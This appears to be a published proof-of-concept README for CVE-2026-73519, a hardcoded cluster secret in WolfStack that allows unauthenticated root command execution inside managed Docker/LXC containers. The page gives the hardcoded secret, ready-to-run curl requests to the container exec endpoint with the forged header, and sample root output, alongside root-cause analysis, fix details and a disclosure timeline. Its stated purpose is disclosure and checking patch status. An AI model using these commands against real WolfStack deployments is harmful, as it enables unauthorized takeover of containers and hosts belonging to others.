Exploit for CVE-2026-73519

## https://sploitus.com/exploit?id=7B95F7DC-5EEC-5081-A56F-274EE031C041
# CVE-2026-73519 — WolfStack Hardcoded Cluster Secret → Unauthenticated RCE

PoC for a hardcoded default authentication secret in [WolfStack](https://github.com/wolfsoftwaresystemsltd/WolfStack) that lets a remote, unauthenticated attacker run arbitrary commands as root inside any managed Docker/LXC container.

| | |
|---|---|
| **CVE** | [CVE-2026-73519](https://vulners.com/cve/CVE-2026-73519) |
| **CNA** | VulnCheck |
| **Advisory** | [GHSA-r3mw-2wmq-j6jg](https://github.com/wolfsoftwaresystemsltd/WolfStack/security/advisories/GHSA-r3mw-2wmq-j6jg) · [VulnCheck writeup](https://vulncheck.com/advisories/wolfstack-hard-coded-secret-authentication-bypass-via-x-wolfstack-secret) |
| **CVSS 3.1** | 9.8 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-798 (Hardcoded Credentials), CWE-306 (Missing Authentication for Critical Function) |
| **Affected** | v25.9.0 and earlier / any node that hasn't completed the per-install secret migration |
| **Fixed in** | v25.9.2 / v25.9.3 |
| **Credit** | Dostxodjayev Abdullox ([@squeeze440](https://github.com/squeeze440)) |

## Root cause

`src/auth/mod.rs:32` ships a single hardcoded secret baked into every WolfStack build:

```rust
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
```

`auth::default_secret_accepted()` (`src/auth/mod.rs:430-460`) accepts this constant as a valid credential by default, unless the operator has explicitly opted out (`WOLFSTACK_REJECT_DEFAULT_SECRET=1`) or already rotated to a custom secret. `api::require_auth()` (`src/api/mod.rs:518-535`), the single gate protecting the entire REST API, treats a request carrying a matching `X-WolfStack-Secret` header as fully authenticated — no session, no API key, no account.

That gate protects `POST /api/containers/{runtime}/{id}/exec` (`src/api/mod.rs:7145-7167`), which runs the caller-supplied command string verbatim inside the target container. Anyone who has read the public source (or this repo) can authenticate as a trusted cluster peer and execute arbitrary commands as root in any container the node manages.

The per-install secret auto-generation added this release cycle only fires for nodes with **no** existing secret file and **no** recorded peers (`src/auth/mod.rs:250-261`) — any upgraded node, any node that hits the documented startup race, or any node with an unwritable config path stays on the shared default indefinitely, with only a log-line warning.

## Usage

Point `TARGET` and `CONTAINER` at a WolfStack instance and container you're authorized to test, then:

```bash
./poc.sh http://TARGET:8553 CONTAINER_NAME
```

Or by hand:

```bash
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"}  HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n\n"}  HTTP 200
```

![PoC terminal output — unauthenticated request rejected, then the same request with the hardcoded X-WolfStack-Secret header returns root command output from inside the live container](evidence/poc_auth_bypass_exec.png)

Verified against the genuine, checksum-verified `v25.9.0` release binary (sha256 `82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c`) with a real `alpine:latest` container as the target. The container ID in the response output matches `docker ps` on the victim host.

## Impact

- Enumerate every Docker/LXC container on the host (`/api/containers/docker`, `/api/containers/lxc`), no auth.
- Run arbitrary commands as root inside any of them via the same header.
- The same bypass reaches every other `require_auth`-gated route (peer/node management, backups, etc.) — this PoC targets the container-exec sink as the clearest impact, not an exhaustive list.

## Fix

Upgrade to v25.9.2 or later. The maintainer flipped the default-secret acceptance to reject-by-default and added a forced rotation path for existing installs.

## Disclosure timeline

- 2026-07-31 — Reported to the maintainer via GitHub Security Advisories.
- Maintainer shipped a fix in v25.9.2 / v25.9.3.
- 2026-08-08 — Submitted to VulnCheck for CVE assignment (already-public fast lane).
- 2026-08-16 — CVE-2026-73519 assigned by VulnCheck.

## Disclaimer

Published after the fix shipped and the CVE was assigned, for defensive/educational use — verifying patch status on your own infrastructure. Do not run this against systems you don't own or have explicit authorization to test.